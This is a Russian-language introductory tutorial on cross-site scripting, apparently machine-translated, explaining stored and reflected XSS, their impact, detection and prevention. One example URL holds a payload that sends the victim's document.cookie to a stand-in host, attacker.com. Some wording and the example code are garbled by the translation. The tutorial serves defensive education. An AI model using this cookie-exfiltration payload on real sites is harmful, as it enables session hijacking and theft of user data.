Введение в межсайтовый скриптинг
- С ростом числа веб-приложений в Интернете, веб-безопасность стала серьезной проблемой. Взлом и кража личных данных пользователей теперь распространены, и это угрожает им использовать любое приложение. Межсайтовый скриптинг - одна из самых популярных атак на безопасность пользователей в сети. Давайте разберемся, что такое межсайтовый скриптинг.
- Межсайтовый скриптинг, называемый XSS, представляет собой уязвимость системы безопасности компьютера, в которой злоумышленник пытается добавить вредоносный код в виде сценариев на доверенный веб-сайт / веб-страницу. Это атака с использованием кода на стороне клиента, и вредоносный скрипт выполняется в веб-браузере пользователя, когда он обращается к этому веб-сайту / веб-странице. Косвенно эти веб-сайты становятся средой для отправки вредоносного кода пользователю. Внедряя сценарии, злоумышленники обходят DOM (объектную модель документа) ограничений безопасности и получают доступ к конфиденциальному содержимому страницы пользователя, сеансовым cookie-файлам, истории просмотра большинства личных данных, поддерживаемых браузером.
- Веб-сайт, содержащий форумы, доски объявлений, веб-страницы, на которых можно оставлять комментарии, а также те, которые используют неанизированный пользовательский ввод и сгенерированный таким образом вывод, наиболее уязвимы для атак XSS. Хотя XSS-атаки возможны в VBScript, ActiveX и CSS, они наиболее распространены в Javascript, поскольку являются фундаментом большинства браузеров.
Различные типы межсайтовых сценариев (XSS)
Хотя конкретной классификации межсайтовых сценариев не существует, некоторые эксперты классифицируют ее на два типа, которые подробно обсуждаются ниже:
Хранимые XSS-атаки :
- Хранимые XSS - это те, в которых вредоносный скрипт, введенный злоумышленником, сохраняется в базе данных и запускается в браузере пользователя, когда он пытается получить доступ к базе данных в той или иной форме. Они также известны как постоянные или хранимые XSS. Это одна из самых разрушительных атак, особенно в тех случаях, когда веб-сайт / веб-страница позволяет комментировать или встраивать HTML-контент.
- Злоумышленник добавляет в комментарий javascript, который сохраняется в базе данных, и когда пользователь заходит на уязвимую страницу, получая данные из базы данных, вредоносный скрипт запускается в его браузере и злоумышленник получает несанкционированный доступ к личным данным пользователя.
- Например, на веб-сайте электронной коммерции, таком как Olx, на котором есть неанализованное окно сообщения для описания продукта, злоумышленник, являющийся продавцом продукта, добавляет в него вредоносный javascript, и он сохраняется в базе данных веб-сайта.
- Когда покупатель откроет описание товара для просмотра деталей товара, теперь он станет жертвой, так как скрипт выполняется в его веб-браузере, и все данные пользователя, которые позволяет браузер, будут захвачены.
Процедура XSS атаки:
- Это один из наиболее распространенных способов, с помощью которого злоумышленник может вызвать XSS-атаку на пользователя. Как правило, в процедуре XSS-атак злоумышленник нацеливается на жертву, отправляя электронное письмо, вредоносную ссылку или прикрепляя строку в результате поиска, которая указывает на доверенный веб-сайт, но содержит вредоносный код JavaScript.
- Если жертва нажимает на этот URL-адрес, он инициирует HTTP-запрос и отправляет запрос уязвимому веб-приложению. Затем запрос возвращается жертве с ответом встроенного кода javascript, который веб-браузер выполняет, считая, что он поступает с доверенного веб-сайта и приводит к взлому конфиденциальных данных его браузера.
- Например, на веб-сайте электронной коммерции есть поле поиска, в котором пользователь может искать элементы, и строка, написанная в окне поиска, отображается в URL-адресе веб-сайта, когда запрос на поиск отправляется на сервер.
- Злоумышленник создает ссылку, по которой вредоносный скрипт объединяется в URL и отправляет его жертве по электронной почте. Когда жертва открывает эту ссылку, запрос отправляется на вредоносный веб-сайт злоумышленника, и все данные браузера жертвы перехватываются и отправляются в систему злоумышленника.
Как работает межсайтовый скриптинг (XSS)?
- В уязвимости Cross Site Scripting (XSS) основным мотивом злоумышленника является кража данных пользователя путем запуска вредоносного скрипта в его браузере, который внедряется в контент веб-сайта, который пользователь использует различными способами.
- Например, когда пользователь ищет какой-либо текст на веб-сайте, запрос отправляется на сервер в виде:
https://www.abcwebsite.com/search?q=text1
В результате поиска веб-сайт возвращает результат вместе с тем, что пользователь искал, например:
Вы искали: текст1 |
Если функция поиска уязвима для XSS, то злоумышленник может добавить вредоносный скрипт в URL:
https://www.abcwebsite.com/search= местоположение документа = https: //attacker.com/log.php? c = '+ encodeURIComponent (document.cookie) |
- Когда жертва нажимает на эту ссылку, она перенаправляется на вредоносный веб-сайт, т. Е. Https://attacker.com, и все данные браузера напрямую отправляются на компьютер злоумышленника, в результате чего злоумышленник крадет все токены / куки-файлы сеанса.
- Таким образом, злоумышленник внедряет свой вредоносный скрипт в URL, Attacker также может сохранить этот скрипт на сервере, который находится под сохраненным XSS.
Влияние уязвимостей межсайтового скриптинга:
Влияние межсайтовых сценариев сильно различается. После использования уязвимости XSS злоумышленник получает полный контроль над браузером жертвы и может выполнять различные действия, которые варьируются от небольших, таких как просмотр истории браузера, до катастрофических, например, вставка червей в компьютер.
Ниже перечислены некоторые действия, которые злоумышленник может выполнить, используя уязвимость XSS:
- Утечка конфиденциальной информации, такой как имя пользователя и пароль.
- Вставка червей на компьютер.
- Перенаправление пользователя на какой-нибудь опасный сайт и принуждение к выполнению некоторых действий
- Доступ к истории просмотра жертвы.
- Установка программы «Троянский конь».
- Заставить пользователя выполнять и изменять значения в приложении, получая доступ через
Обнаружение уязвимостей межсайтового скриптинга:
- Уязвимости XSS возникают по двум причинам: либо входные данные пользователя не проверены перед отправкой на сервер, либо выходные данные, полученные браузером, не кодируются в формате HTML. Учитывая катастрофические последствия уязвимости XSS и защиту конфиденциальности пользователей, очень важно выяснить, уязвимо ли веб-приложение для XSS или нет.
- Хотя XSS сложно идентифицировать и удалить, лучший способ проверить это - выполнить проверку безопасности кода и проверить все места, где входные данные из HTTP-запроса могут отображаться как выходные данные в приложении. Использование инструментов автоматического сканирования уязвимостей, которые включают в себя специализированный модуль XSS-сканера для сканирования всего веб-приложения, также может помочь в сканировании и поиске уязвимостей в приложении.
Как предотвратить XSS?
- XSS является уязвимостью внедрения кода, поэтому очень важно кодировать данные, которые отправляются на сервер, и данные, которые поступают с сервера в браузер пользователя.
- Проверка данных также очень важна, так что браузер интерпретирует код без каких-либо вредоносных команд. Были введены различные методы предотвращения, в результате чего валидация и кодирование данных были приоритетными для уязвимости веб-сайта к XSS.
Некоторые моменты должны быть сфокусированы, чтобы предотвратить XSS:
- Поддержка HTTP Trace на всех веб-серверах должна быть отключена, поскольку злоумышленник может украсть cookie-файл и данные личного браузера через HTTP-вызов трассировки с сервера, даже если document.cookie отключен в браузере жертвы.
- Разработчики должны дезинфицировать входные данные и никогда не должны выводить данные, полученные непосредственно от пользователя, без их проверки.
- Ссылки, как правило, должны быть запрещены, если они не начинаются с протоколов, включенных в белый список, таких как HTTP: //, https: //, таким образом, предотвращая использование схем URI, таких как javascript: //
Вывод:
Атаки XSS опасны и могут нанести ущерб конфиденциальности пользователя и украсть данные, если обычный пользователь не просматривает приложение тщательно. Поэтому разработчики при разработке приложения должны соблюдать строгие правила безопасности, особенно для данных и сервера, чтобы приложение было наименее уязвимым для XSS, и больше пользователей могло бы положиться на него.
Рекомендуемые статьи
Это было руководство для Что такое межсайтовый скриптинг? Здесь мы обсуждаем различные типы межсайтовых, рабочих, воздействия и предотвращения XSS соответственно. Вы также можете просмотреть наши другие предлагаемые статьи, чтобы узнать больше -
- Как работает JavaScript
- Что такое фишинговая атака?
- Что такое кибератака?
- HTTP-кеширование
- Как Cookies работают в JavaScript с примером?